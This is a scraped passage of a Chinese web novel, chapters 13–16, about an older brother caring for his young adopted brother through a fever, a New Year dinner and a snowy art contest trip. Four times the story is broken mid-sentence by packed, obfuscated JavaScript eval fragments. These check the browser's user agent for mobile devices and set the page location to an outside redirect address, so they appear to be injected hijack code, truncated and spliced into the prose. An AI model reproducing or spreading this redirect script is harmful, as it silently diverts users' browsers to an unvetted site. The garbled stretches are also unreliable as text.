“提前交卷了,”掌心里的小手冷冰冰的,墨时衍紧紧攥着给他暖了暖,皱着眉问他,“怎么在外面等,外套呢?” “我想第一时间看到你,外套在教室里忘记穿了,”暮安吸了吸鼻子,“而且我没觉得冷呢。” 墨时衍又摸了下他的脸:“这叫不冷?” 暮安用手心搓搓脸蛋,难怪他不觉得冷,原来是有点麻了。 教室在办公室楼上,墨时衍没再带他上去拿外套,先把自己身上的脱了给他裹上。 短款的,暮安穿上还是太大,两只手在袖子里晃里晃荡,被墨时衍牵着袖子带进了办公室。 老师其实也没想怎么训斥,只是暮安在班上一直是起带头作用的,课上画画再加上说小话,被抓住了不能一点惩罚措施没有。 墨时衍跟老师简单说了几句,老师就让他赶紧带暮安回去了,走之前暮安还没忘记问老师要回他的画本。 “确实画的很好,”老师拿着画本敲了敲他的脑袋,“但是以后可不准在课上画了啊。” 暮安询问:“课间呢?” 老师笑了笑:“课间可以。” 暮安点头:“知道了老师。” 出了办公室,墨时衍见他垂头丧气不怎么开心,便将手从袖口处伸进去,在里面拉住只热乎乎的小手。 “上课也可以画。”墨时衍道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051699|179055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 暮安眼睛微微睁大,抬起脸望过来:“可是老师刚刚说不可以。” 墨时衍问道:“老师讲的东西你都会了才画画的对么?” 暮安就知道哥哥会懂他,用力点点头:“你都在家里教过我了,我不用听也会做。” 墨时衍:“那就不用听,只是画的时候小心点,别再让老师发现,也别打扰其他同学听课。” 暮安脸上还有点担忧,在袖子底下捏捏哥哥的手:“要是不小心了怎么办呢,又被老师收走了怎么办呢?” “收走也没关系,”墨时衍同样捏了捏他,“哥哥给买更好的。” 暮安被哄得笑盈盈的,心理负担也卸下。就像哥哥之前跟他说过的,不管发生什么都会有哥哥为他兜底,他永远可以只做自己喜欢的事。 不过今天的画画课只上了一半,暮安总觉得脑袋沉沉,在脖子上快挂不住了,身上也时不时发冷,在室内穿了厚厚的外套还觉得不行,问徐老师自己可不可以抱床被子进来盖。 徐老师也看出他精神不集中,问他是不是生病了。 暮安摇摇头,说自己没生病,就是有点困了。 徐老师也没勉强他,剩下的课程可以改天补上。 晚上暮安睡得早,没怎么黏人,自己洗漱完就乖乖躺上了床。 以前他怎么也得磨蹭会,磨蹭到墨时衍过来拍拍他才肯老老实实睡觉。 墨时衍以为他心情又不好了,绕到床边来看他,结果发现他真的已经闭眼睡着了,身子蜷缩成了一小团。 墨时衍用手背在他脸蛋上轻轻蹭了蹭,小孩的皮肤嫩得很,水灵灵的,却发着烫。 再摸摸额头,脖子,居然哪哪都热。 墨时衍神色一紧,原来不是睡过去的,是烧迷糊了。 “安安,安安。” 墨时衍靠近叫了他两声,没叫醒,但是听出来他呼吸声都不太对,有点急促,气息也滚烫。 没敢再动他,赶紧让人叫了家庭医生过来,这期间先用湿毛巾给他擦擦脸和脖子,用物理降温的方式试试。 孩子小,再加上先前又有点别的病症,普通退烧药不知道能不能吃,要等到医生来看过才好说。 家里上上下下都没睡,在楼下等着,钟姨把湿毛巾拧到不滴水了才递过来。 墨时衍坐在床边,给暮安一遍遍擦拭,降温,时不时再用温度计测一测,还是一直维持在三十八九度下不来。 雪白的小脸此刻透着不正常的苍白,唇色也淡,眼睛紧紧闭着,几缕黑发被毛巾和薄汗打湿,凌乱的贴在脸颊上,看起来更显憔悴,像被抽走灵魂的漂亮娃娃。 一旁的钟姨看不下去:“小少爷这到底怎么搞得,怎么会忽然烧成这样,最近温度降的快,白天是不是吹着冷风了?” 墨时衍想到下午在办公室门口见到他的时候,他身上穿的那么单薄,应该就是那时候受了寒。 韩叔很快带着医生上楼,给暮安做了个检查后,确定就是天冷冻出来的烧。 “吃点退烧药就可以,这两天也多看着点,别再吹风受凉,”医生说道,“今天晚上勤量体温,最好隔几个小时就量一下,烧退下去了就没问题,没退下去就过四个小时再吃一粒。” 送走医生后,钟姨赶紧去倒了杯热水,准备先把床上的暮安扶起来喂药。 暮安一坐起来就皱了皱眉,慢慢睁开眼,难受的眼眶都红了,泪眼模糊地看着满屋子人,眼尾掉出几滴晶莹的泪珠,睫毛也被濡湿,一缕一缕的颤动。 墨时衍拿了药过来,还没坐到床边,便听见声轻轻软软,带着鼻音的呼唤—— “哥哥……难受……” 14. 第 14 章 这么一声,把人心都喊软了。 墨时衍让他靠在怀里,药递给钟姨想喂他吃下。 但暮安含着药片喝了好几口水都没咽下去,哭着说太苦了不要吃。 平常什么事情惯着他也就算了,发烧不是闹着玩的,不吃退烧药降不了温。 怀里一张小脸哭得湿漉漉,半睁着眼睛抽抽嗒嗒,用舌头推着要把嘴里的药片吐出来。 墨时衍狠下心,捏住他脸颊两侧没让他得逞,又把水杯拿来直接朝他嘴里灌了一小口。 暮安还没反应过来,舌尖上的药片已经先一步被冲进了喉咙里,他呛了口水,意识到又哭又涩的药片进了肚子后顿时哭得更厉害了。 旁边的韩叔和钟姨看着都不忍心,却不想墨时衍三下五除二已经喂好药,把暮安翻了个身让他趴在肩上,轻拍他后背低声细语在耳旁哄他。 “好了好了,不吃了,哥哥知道很苦,很难吃对不对?” 暮安哽咽着点头,眼泪啪嗒啪嗒掉到哥哥肩膀上。 韩叔和钟姨见状,吩咐着其他人先出去了。 房内只剩两人,墨时衍便托着他站起身,一手兜着他屁股大腿,一手在他后背上缓缓轻抚,安慰,绕着床边来回走动几步,边走边轻轻晃悠。 “安安乖,不哭了。” “吃了药才能快点好起来。” “上次哥哥生病也是吃药才好的,还记得么?” 暮安被哄着晃着,哭声慢慢停了,眯着眼在墨时衍肩上蹭了几下,把睫毛上挂着的泪珠都蹭掉,这才闷闷“嗯”了声。 墨时衍抱他走到桌旁,拿了毛巾给他擦脸。 先搭在额头上擦了擦额发下的细汗,再轻柔往下擦擦泪湿的眼睛,红通通的鼻尖,还有哭到微微发红的脸蛋。 琥珀色的漂亮眼珠一眨不眨,紧紧盯着哥哥的眼睛,看样子委屈极了。 擦完之后就又趴回去,两手搂着哥哥脖子一言不发,像是还难受着。 墨时衍抱他回到床边,没把他放下,就那么抱着他继续轻轻拍拍。 “以后天冷的时候不要在外面吹冷风,也不准再穿那么少就跑出去,”墨时衍趁机教会他,“下次如果再生病还得吃药。” 暮安在他怀里靠着,晃着,极度舒适,眯着眼迷迷糊糊听清了些,当即不满哼唧几声。 “不要,不要……不吃药……” 墨时衍在他后背摸摸,还是很烫,像抱了块又软又热的棉花,只能顺着他说:“那就不要生病。” “以后都健健康康的。” 暮安像坐在温暖的摇篮里,没一会就被晃悠睡着了。 墨时衍想把他放回床上,但一放暮安就要醒。 医生说过一会就要量次体温,墨时衍干脆抱着他量了几回,开始药效没显,温度还是高,但到了后半夜怀里的小棉花明显没那么烫了,体温也终于恢复正常。 钟姨来看过几回,想把暮安抱走去照顾,墨时衍早上还得去学校,暮安倒是可以请个病假。 但墨时衍没让,怕暮安醒了还是要找他,再说他心里担忧着也睡不着。 退烧已经是凌晨四点多,墨时衍又给他量了两次体温都显示正常,应该就没什么事了。 暮安睡得浅,身体不舒服一会就醒一下,中途墨时衍还给他喂了几次水,没给他多喝,只让他把干涩的嘴唇润润。 被放到床上后暮安睫毛又颤了颤,好在没睁开眼,只是不知道梦见了什么,叽里咕噜念叨了几句。 墨时衍俯身靠近。 “轩轩,小时候是小猪……” “我呢,我是什么呢……我小时候是什么……哥哥……” 这算什么问题。 可墨时衍见他一直念叨没完,便在他软滑的脸颊上捏捏:“是小猫。” 暮安朦胧间像是听到了,跟着嘟囔两句:“是小猫,是小猫……” 墨时衍笑了笑,还是只小病猫。 生病请病假天经地义,但暮安病的巧,正好是临近期末考试这两天。 本来墨时衍没打算让暮安再回学校考试,病刚好尤其要注意,可暮安跟自己两个好朋友约定好了要一起参加考试比一比成绩。 按说墨轩竹跟暮安和姜兴澜没有比的必要,他大考小考都是倒数前三,非常稳定。 小孩子对约定承诺看得重,墨时衍没拦着。 暮安在家歇了两天,考试当天才回学校,钟姨给他里里外外都穿得厚厚的,生怕考个试再把孩子冻着。 暮安被裹得圆滚滚,墨轩竹跟姜兴澜见了他都以为他吃胖了,结果他掀开学校制服,给他们展示自己里面其实穿了一层又一层。 一年级考试题目不难,暮安考了双百,姜兴澜也不差,只数学扣了两分,墨轩竹也有进步,倒数第五。 成绩好或坏都没所谓,反正迎来了最幸福的寒假。 放假就是可以肆意妄为,尤其是暮安捧着两张奖状骄傲回家,直接被家里一群人捧上天。 左一个小少爷真棒,居然又考了第一。 右一个小少爷天才,简直跟大少爷不相上下。 这些夸奖暮安都爱听极了,尤其是他也觉得自己是不是有点赶上了哥哥的步伐,哥哥各方面都那么优秀,他一定不能落后给哥哥丢脸。 墨时衍自己取得的成绩没说,只是把暮安的奖状看了两遍,并且允许暮安把它们贴在了主卧书桌上方,房间里最中央的位置。 暮安在假期里除了学画画就是去马场跟小白玩,墨轩竹又来住过几天,但是还没玩够就被蓝悦抓回去上各种辅导班课外班。 在这方面墨时衍倒没给暮安太多限制,暮安很乖,成绩又好,没必要非逼他上些什么奥数课编程课,或者学什么钢琴高尔夫马术。 墨时衍自己的童年是被各种各样的行程塞满的,所以他想在最大空间内给暮安自由选择的权力,他并没有要求暮安也按照既定的条条框框成长。 一味严苛并不是教育孩子的方式,这是墨时衍现在就懂得道理。 寒假中间夹杂了个春节,家里只有墨时衍和暮安两人一起过,韩叔和钟姨回了本家,倒是还有个赵舟陪着,但暮安对他总是不像对韩叔钟姨那么亲切。 原因无他,赵舟是个又高又凶的alpha,手臂上还纹着只花花绿绿的凶猛大蟒,虽然平常对暮安也是恭恭敬敬,可暮安见了他就是觉得害怕。 过年总该一家人聚在一起团团圆圆吃团圆饭,三人第一次一起坐在饭桌上,电视上播着联欢晚会,声音开的大,在空荡荡的厅内传出些回音。 暮安一直埋头吃饭,赵舟和墨时衍分别坐在他两侧,他有些够不到的菜两人会分别给他夹到碗里。 只不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051700|179055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨时衍给他夹了菜他就直接闷头吃了,赵舟给他夹的,他就偏头小声说一句“谢谢”再飞速吃掉。 赵舟回一句“不客气”,没觉得有什么不对。 墨时衍吃到一半出去接了个电话,暮安立即求助似的看向哥哥背影,再一转头,赵舟已经给他又给他夹了好些。 “谢,谢谢……” 暮安埋头苦吃,其实肚子已经有点饱了。 赵舟看他吃得那么快,又连续不断朝他碗里添菜。 暮安愁眉苦脸,扭头看一眼赵舟手臂上粗壮可怖的蟒蛇,吓得赶紧回过头继续吭哧吭哧吃。 饭桌上没人讲话,只有忙忙碌碌动筷和拼命咀嚼吞咽的声音。 等到墨时衍接完电话回来,暮安已经撑得实在吃不下,看见墨时衍就赶紧从椅子上跳下来,急匆匆跑过来抱着他大腿喊“哥哥”,心里想的却是“哥哥救命”。 墨时衍摸摸他圆乎乎的脑袋:“吃饱了?” 暮安赶紧点头:“饱了饱了,我好撑,真的吃不下了。” 墨时衍往桌上望,赵舟剥了颗虾,刚放进暮安盘子里。 暮安见了,小脸顿时皱成苦瓜:“我肚子都快撑破了,再吃一口就会爆炸,我想去看会电视了。” 墨时衍失笑:“什么都吃不下了?” 暮安:“吃不下!” 墨时衍:“那荔枝呢?” 圆润的小猫眼睛登时变得亮晶晶:“有荔枝吗?哥哥你买了荔枝吗?” “嗯。” 知道暮安喜欢吃荔枝,冬天不好买新鲜的,赵舟托人从国外运来就直接送到了岛上。 暮安兴高采烈去剥荔枝吃,他好久没吃了,甜滋滋的蜜水溅到唇角边都要舔一舔,幸福的直眯眼睛。 墨时衍过来也帮他剥了颗,还没递到他嘴边他就已经张大嘴巴等着。 墨时衍故意停下,问他:“不是肚子快要爆炸了么?” 暮安张着嘴等来等去也不见他喂给自己,直接抱着他的手往嘴里塞,墨时衍微微使力就能让他拽不动,急地暮安哼哼唧唧攥着他手腕摇晃。 “不会炸不会炸,几颗荔枝而已不占地方的,哥哥给我吃吧给我吃吧,求求你啦!” 墨时衍一会使力一会泄力,暮安就张着嘴跟着他的手来回晃脑袋,跟对着小鱼干开了自动追踪的小猫头似的。 拉锯战一样玩了会,暮安嘴巴都酸了,直接松开手嚷嚷着:“哼,我不吃了!” 说完就背过身生气,哥哥简直太坏了。 生着生着,旁边有只手绕到他面前来。 背后传来道声音:“张嘴。” 暮安张开嘴巴,那颗晶莹剔透的荔枝便被准确无误地放进了他嘴里。 暮安又被清甜果肉一下哄好了,眯着眼睛摇头晃脑。 他把刚才的话收回来,哥哥最好啦! 晚上吃完饭三人一起坐在电视机前看了会节目,暮安吃饱喝足,说好要一起守岁的,但是还没熬到十二点就困得枕在墨时衍腿上睡了。 墨时衍拉过绒毯给他盖上,忽然对身旁人轻声说道:“下回胳膊遮一下。” 赵舟:“?” 墨时衍又道:“吃饭时候也别坐他旁边。” 赵舟:“??” 墨时衍平静道:“别吓着他。” 赵舟:“……” 15. 第 15 章 暮安并不知情,只是后来果真没再见到过那条可怕大蟒蛇。 港市冬天没有雪,但是每年过年暮安的桌上总有新鲜荔枝。 墨时衍让人在岛上移栽来两棵品种名贵的荔枝树,种在马场旁的空地上,没过两年就都长出枝繁叶茂的树冠,夏天一到,形成一整片碧绿波涛,鲜绿嫩叶下掩藏着艳红的荔枝果。 暮安和小白玩累了躺在树下乘凉,哥哥说这树上结的果子全都是他的,没人会跟他抢,他看着头顶沉甸甸红果壳,揉揉身旁小白马的鬃毛,快乐地冒泡泡。 他真是世上最幸福的小孩,哥哥是世上最好的哥哥。 树下的幼小身躯也像扎根在兰佩斯湾的海水里,随着两棵荔枝树一起在这座美丽的小岛上生根发芽,开花结果,渐渐抽条成小小少年模样。 不知不觉间暮安在主卧洗漱的时候已经不需要再踩矮脚凳,但那个小凳子依旧还放在浴室门后。 他个子长高了些,胆子也变大了,从三楼搬下来一个人睡不会再半夜哭醒,虽然他还是很喜欢下雨天,可有时晚上的惊雷声还是有点恐怖,他就会抱着自己的玩偶再跑去主卧找哥哥。 只要耍赖似的撒撒娇,哥哥就会把大床一半的位置让给他。 暮安跟着徐老师也学了两年画画,徐老师觉得他在这方面确实有天赋,给他报了个全国性的比赛,但是当时由于才刚上三年级的暮安还不满十岁,没达到参赛者最小年龄要求最终作罢。 暮安知道后不服气,非让墨时衍带他去参赛,只要他说自己已经十岁了,谁看得出他其实连八岁都不到? 墨时衍看着他长高了也依旧跟小萝卜头似的个子,没说什么伤害小孩心灵的话,只让钟姨以后多炖点有营养的骨头汤给暮安喝。 就这样暮安每天苦兮兮喝汤,在十岁的时候成功又窜高了些,可站在哥哥面前一比怎么还是差得远。 好在比赛没要求选手身高,四年级的那个寒假,墨时衍带暮安去北市参赛。 北市的冬天比港市要冷得多,他们来的前一天晚上暮安就用自己的手机查了天气预报,手机是他考试又得了第一名后哥哥给他的奖励,最新款,国内市面上还买不到,他的两个好朋友知道后差点没羡慕死。 “哥哥,这里写着小雪转中雪,”暮安有点兴奋,把手机屏幕举到墨时衍面前给他看,“你说我们去的时候会不会正好赶上下雪呢?” 钟姨已经将行李收好,只去三天,两人带一个大箱子足够,墨时衍正在往里装别的东西,被暮安扑到行李箱上打断。 “你看看嘛,”暮安锲而不舍的问,“会下雪的吧?” 他还从没见过雪,这几年寒暑假墨时衍有时候也会带他去外地玩,但还没在冬天去过北方。 “先下来。”墨时衍道。 暮安装听不见,干脆把脸埋进一堆衣服里蹭:“老天就让北市下雪吧,求求啦求求啦,我想看雪呀。” 墨时衍提着后衣领把他拎起来:“求给谁听呢。” 暮安顿了顿,想明白似的,踩着拖鞋就哒哒哒跑到窗台边,推开窗子对着漆黑的夜空双手合十,嘴里念咒似的嘟囔着“下雪吧下雪吧下雪吧”。 这还不算完,两人坐在去北市的飞机上,暮安觉得这里离老天更近,许愿实现的可能更大点,一路上没少冲着机舱外的蓝天白云虔诚祈祷。 空乘都被他吸引过来,看他闭着眼睛嘴里叽里咕噜做法似的,询问墨时衍需不需要帮助。 墨时衍只好把他合十的小手拉下来,拿了条毯子盖他脑袋上强制关机,心道还是应该带他坐私人飞机。 但或许是暮安的诚心诚意感动老天,飞机落地北市机场后,天上竟然真的开始飘起来零星雪花。 暮安身上穿得多,从头到脚严严实实被包裹起来,激动的跑到路边转了几圈,像只行动不便的小企鹅,用袖口接了几片雪,小脑袋凑上去盯着仔仔细细看。 “哥哥,雪花真的有六瓣!” 他想给墨时衍展示,可惜那一片小小的白色花瓣很快就消失不见。 天冷风寒,雪也渐渐大起来,暮安之前吹完冷风烧了整整一夜的场景还历历在目,墨时衍摸了摸他冷冰冰的小手,没让他在外面多呆,带他直接去了比赛主办方安排的酒店入住。 墨时衍和暮安睡在套房,赵舟就住在两人隔壁。 办理完入住后天已经黑了,暮安站在房间窗子朝外望,华丽精美的庭院内已经白茫茫一片。 “哥哥,”暮安兴冲冲道,“我想出去玩会雪。” 墨时衍:“不行。” 还以为起码能商量下,竟然直接被拒绝,暮安心有不甘,又拿出用惯的那一套跑过来撒娇。 墨时衍坐在书桌前在看笔记本,暮安就歪着脑袋凑到他面前:“就玩一会会也不行吗,就一小会,我保证会很快上来的。” 墨时衍用两根手指把他脑袋推回去,让了步:“今晚不行。” 暮安一听,又凑上来问:“那明天可以吗?我比完赛再玩,不会耽误正事。” 墨时衍看着他闪着亮光的眼睛:“不怕生病了?” 暮安想了想,知道哥哥这是担心他冻着,弯着眼睛笑笑:“我多穿点就好啦,不会生病的,而且这还是我第一次看见雪,回去就看不到啦。” 墨时衍在他额头上敲了下,暮安笑得更开心了,这是每次哥哥拿他没办法的时候才会做的举动,他搂着哥哥脖子飞快“啵”了口,蹦蹦跳跳回去爬上床。 第二天早上醒来,暮安第一时间跑到窗边看,雪已经停了,外面一片冰天雪地银装素裹,是他从没见过的景象。 他急地想跑出去看,被墨时衍拦住先吃了早饭,又喝了满满一大杯牛奶,然后穿好羽绒服和小皮靴,外面又被围上条厚实的围巾,头上带了个小熊帽子,这才跟在墨时衍身后出了门。 迎面吹来刺骨如刀的寒风,暮安只有眼睛和鼻子露在外面,顿时打了个大大的喷嚏。 墨时衍给他把围巾又紧了紧,比赛场地在个空旷的会场,不确定封闭性好不好,暖气开得足不足,暮安从小生活在港市,没受过什么冷,宁愿多穿点也不能让他冻着。 会场距离套房不远,摆渡车来接了他们过去。 整个酒店园区内的积雪都已经被提前清扫过,路边还有堆成的雪人,一路上大大小小好几个,暮安寻宝似的边找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051701|179055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边指给墨时衍看,还说等回去之后也要在楼下堆一个。 到了会场附近人流多起来,摆渡车不方便再往前开,几人从车上下来,旁边像是有台扫雪车出了故障,路上积雪已经被踩得泥泞,经理满头大汗,正在指挥一群人迅速处理。 墨时衍原本拉着暮安的手往前走,看见不远处有个小孩在雪地里被家长牵着还是摔了个跟头,便忽然停下脚步,在暮安还没反应过来的时候已经提着他腋下把他抱起来。 暮安踩雪踩得好好的,小皮靴上都是雪渍,一转眼到了哥哥怀里,被抱着继续走。 他已经长高长大了,可在哥哥怀里还是小小一个,哥哥也高了很多,肩膀变得更加温暖宽阔。 但周围人实在太多了,暮安有点不好意思,推着挣扎两下:“放我下来哥哥,我能自己走。” 话音刚落,旁边又有个小孩跑着跑着摔了跤。 墨时衍一手就能抱稳他,另只手摸了摸他的,蹙着眉问:“手套呢?” 暮安有点心虚:“在你口袋里。” 他刚才偷偷摘了手套在路边的矮冬青上抓雪玩,玩得小手冰冰凉凉,墨时衍果然在自己口袋找到一只毛茸茸的小手套,塞他怀里命令:“戴上。” 暮安老老实实戴回去,被哥哥按着脑袋趴在肩上。 “听话,”墨时衍道,“过去这段路就让你下来。” 暮安在小熊帽子下吸吸鼻子,闷声说了句:“好吧。” 然后果真乖乖趴着不再乱动了,两只小手套扒在墨时衍大衣上,脑袋和身上又都毛茸茸圆滚滚的,从远处看真像怀里抱了只小无尾熊。 暮安歪着脑袋在墨时衍背后四处乱瞄,来参赛的都是小孩,最小的十岁,最大的十六七,没谁是让家长抱进会场的。 他转了转眼珠,又看向跟在后面的赵舟。 现在他已经不像小时候那样害怕赵舟,反而因为今早赵舟盯着他把那一大杯热牛奶喝完,害得他肚子好撑而心生怨气,皱着小脸时不时凶巴巴瞪赵舟两眼,颇有点猫仗人势的意思。 走过雪路到达会场门口,把暮安放下去之前墨时衍先让赵舟把他靴子上的雪渍都擦掉。 暮安对自己干干净净的小皮靴非常满意,决定暂时原谅赵舟。 旁边也有个家长带着一对兄弟前来参赛,不知道已经盯着墨时衍和暮安看了多久,大概两人的形象气质在人群中实在显眼,转过头来就教训自家孩子。 “看看人家!都是兄弟俩,人家多知道相亲相爱,再看看你们,整天就知道在家里打打打,出来还要打,一点不懂事!” 小孩顶嘴:“谁说他们是兄弟,万一那是他爸爸呢,他爸爸就不会凶孩子!” 暮安赶紧脆生生的喊了句:“哥哥。” 墨时衍:“嗯?” 暮安确定那家人听见了,这才拉拉墨时衍的手:“没事,我的包给我吧,我自己背。” 他以后在外面要做一个更懂事的弟弟。 墨时衍看他拿过塞的鼓鼓囊囊的小背包,有点艰难的背在臃肿的外套后面,抬手帮他扶了把歪掉的小熊帽。 看着他,带了点低笑:“怎么这么乖了。” 16. 第 16 章 暮安理直气壮:“我哪天没有乖?” 墨时衍直起身:“要我在这细数么?” 暮安赶紧拉他衣角:“不要不要!别数!” 在家怎么样另说,在外他必须维护自己乖巧懂事的形象。 两人正站在入口处,还没到入场时间,里面忽然走出个西装革履的男人,胸前挂着蓝牌,被一群人指引着快步走到墨时衍面前,脸上堆着笑。 “墨先生,抱歉让几位在外面久等了,离比赛开始差不多还要半个小时,要不先去贵宾席休息会?”说着他递过来张名片,“我是这次比赛主办方,先前跟墨氏也有过合作。” 认得墨时衍不出奇,但他来之前没透露过风声,便转头看了赵舟一眼。 赵舟拧了拧眉,摇头。 他也没提前跟主办联系过,不知道这群人怎么巴结上来的。 赵舟接了名片,说道:“不麻烦了,这是私人行程,和工作无关。” 拒绝攀交的意味很明显,但主办方几人不想错过这个机会。 “私人行程啊,墨先生是带人来参赛的吗?”主办方看向一直站在旁边乖乖巧巧听大人讲话的暮安,“这位小朋友是……” 旁边几个工作人员也一并看过来,各色眼神将暮安上上下下打量几圈。 先前外界就都传墨老爷子去世前在福利院接回来个孩子,关于这孩子的说法众说纷纭,有说是孤儿,有说是墨家流落在外的私生子,还有说是老爷子不过受人所托忠人之事。 但几年过去,这个跟墨家毫无血缘关系的孩子现在怎么样了没人知道,可能在老爷子死后又被送回福利院,也可能早就不知道被丢弃到哪个角落自生自灭。 墨家近几年内斗厉害,墨时衍应该自顾不暇才对,难不成还有精力去养大个孩子? 暮安搞不明白状况,睁着双水灵灵的大眼睛仰头看看哥哥,一只大手按了下他头顶的帽子,宽大帽檐把大半张小脸扣住,一并挡住那些质疑探究的眼神。 墨时衍淡声:“我弟弟。” 对面几人表情一怔,主办方先反应过来,忙道:“原来是家里小少爷过来参赛了,这不是给我们比赛增光添彩了吗,我们的荣幸啊,早知道小少爷会来,哪里还用得着亲自比赛这么麻烦,我让人把奖牌奖状直接寄到家里去就成。” “多谢好意,”墨时衍道,“带他过来玩玩而已,让他自己发挥就好。” 暮安也似懂非懂地跟着点点头。 正好入口处已经开始检查身份入场,家长不能入内,只能在外面等。 暮安生怕他们聊天耽误自己比赛,一直翘着头往入口处张望。 墨时衍在他脑袋上拍了下:“去吧。” 暮安急急忙忙跑出去几步,想到什么似的,又紧急刹车回来,拽着书包带站在墨时衍面前看他:“你还没给我加油。” 墨时衍垂眸,神色也跟着缓和:“加油。” 赵舟也道:“小少爷加油。” 旁边几人跟着奉承:“加油哦!” “加油加油,得个金奖!” “加油呀小少爷!” 得到了很多鼓舞的暮安挺胸抬头,留给众人一个充满自信的背影,独自朝着入场口去了。 “墨先生真不去贵宾席休息吗?比赛少说两个小时,那边有沙发软座和茶歇,最主要的是视线好,”主办方提议道,“能直接看到场内比赛情况。” 果不其然,墨时衍这次欣然同意。 大大小小的考试暮安参加过很多次了,按理来说不会紧张,但这是他第一次参加美术大赛,不知怎得,比赛到了一半的时候他就很想上厕所。 也可能是因为早上牛奶喝多了,总结起来还是要怪赵舟。 题目倒是不难,他画的是小白,可谓得心应手,但后半程坚持的实在痛苦,最后交上画纸后小脸都皱皱巴巴拧成一团,抓起来书包就赶紧跑出会场。 外面站了很多家长,暮安还是能一眼认出哥哥,冲过去揪着墨时衍的衣服直跺脚。 “厕所厕所,我要上厕所。” 墨时衍把他书包扔给赵舟,拉着他的手从人群中出来,大厅内的洗手间肯定要排队,墨时衍干脆带他回到贵宾厅。 奢华的厅内空无一人,但暮安迈不开腿,脸颊红通通的,皱着眉跟在哥哥身后看起来像是快哭了。 墨时衍一看他脸色就知道他这是憋得难受了,直接把他打横抱起来朝着洗手间方向走,步伐又快又稳,到了洗手间门口把他放下,推开门便要抱他进去。 谁知道暮安拦着没让他进,掩上门对他道:“你别进来。” 孩子大了知道害臊,墨时衍便停在门外。 里面又传出声:“但是你也不准走。” 墨时衍笑了下:“没走。” “你就站在门口等着我。” “好。” 过了会,暮安开门出来,自己走到洗手台前洗了手,又把手吹干。 两人一前一后从贵宾厅出来,赵舟在门口提着包:“怎么了?小少爷身体不舒服?” 暮安脸颊上的红晕还没消掉,不知道是羞得还是气得,直接扑上来追着赵舟打:“都怪你都怪你!我以后再也不喝牛奶了!” 赵舟左躲右躲,最后干脆把凶巴巴的小崽子直接夹在胳膊下。 暮安用尽力气也挣脱不开,对墨时衍大喊:“救命!哥哥救我!” “牛奶还是得喝,”墨时衍平和道,“不然长不高,力气也不大。” 疑似被羞辱的暮安:“……” “讨厌你们!” 暮安一路上没再跟墨时衍说话,赵舟欺负他就算了,哥哥居然也不帮他。 一点都不知道爱幼。 回到楼下庭院后,暮安直接跑到一边的积雪堆蹲着玩雪,墨时衍答应了比赛完让他玩会的,便没再管他,径直上了楼。 暮安摘了手套放在一旁,把手插进雪堆里,没一会就冻得斯哈斯哈,两只小手又冰又红,像小胡萝卜。 他自己堆雪人,滚雪球,挖雪坑,玩得兴高采烈,还把堆好的几个雪人和雪球摆在院内的石桌上,又捡了几颗小石子给雪人当眼球,然后趴在桌上美美欣赏自己的一排杰作。 身后传来的脚步声他没注意,直到一只骨节分明的大手忽然从脸颊侧边伸过来,把他滚得最圆的一颗雪球用长指捏起,轻巧放在了掌心里。 雪球被他拿在手里的时候明明还很大一颗,现在怎么显得像是缩小了好几倍。 “玩够了么?”轻柔嗓音在头顶询问。 暮安直接低下头,不说话不回答。 墨时衍垂眼看他圆溜溜的后脑勺,知道他这是还没消气。 人小脾气大。 “要不要玩点别的?”墨时衍问道。 暮安矜持不过三秒,小孩子心性还是敌不过诱惑,声音从底下闷闷传出来。 “玩什么。” 墨时衍见赵舟刚好从厅内出来,扬手轻松一抛,手里的雪球就在空中划出个漂亮的抛物线,随后砸在了赵舟头上。 暮安恰好抬头看到这一幕,见赵舟顶着满脑袋雪,惊喜的直拍手:“好厉害!” 墨时衍道:“帮你报仇。” 暮安也抓起来雪球扔过去,但他力气太小,雪球砸在了赵舟脚旁。 赵舟发现两人举动后二话不说,随手抓了身旁一把雪团了团朝这边丢。 暮安眼看着硕大一颗雪球往自己脑袋上飞,吓得连忙往墨时衍怀里钻:“哥哥!” 墨时衍护着他,抬手挡了下,雪球在他手臂上砸碎掉落。 暮安来了劲,拽着墨时衍衣领告状:“哥哥揍他!他居然敢反击!我帮你制作弹药,你打他打他!” 赵舟看着两人满脸挑衅:“来啊。” 暮安把石桌上的雪球一股脑往墨时衍怀里塞:“先用这些,我现在就继续做! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 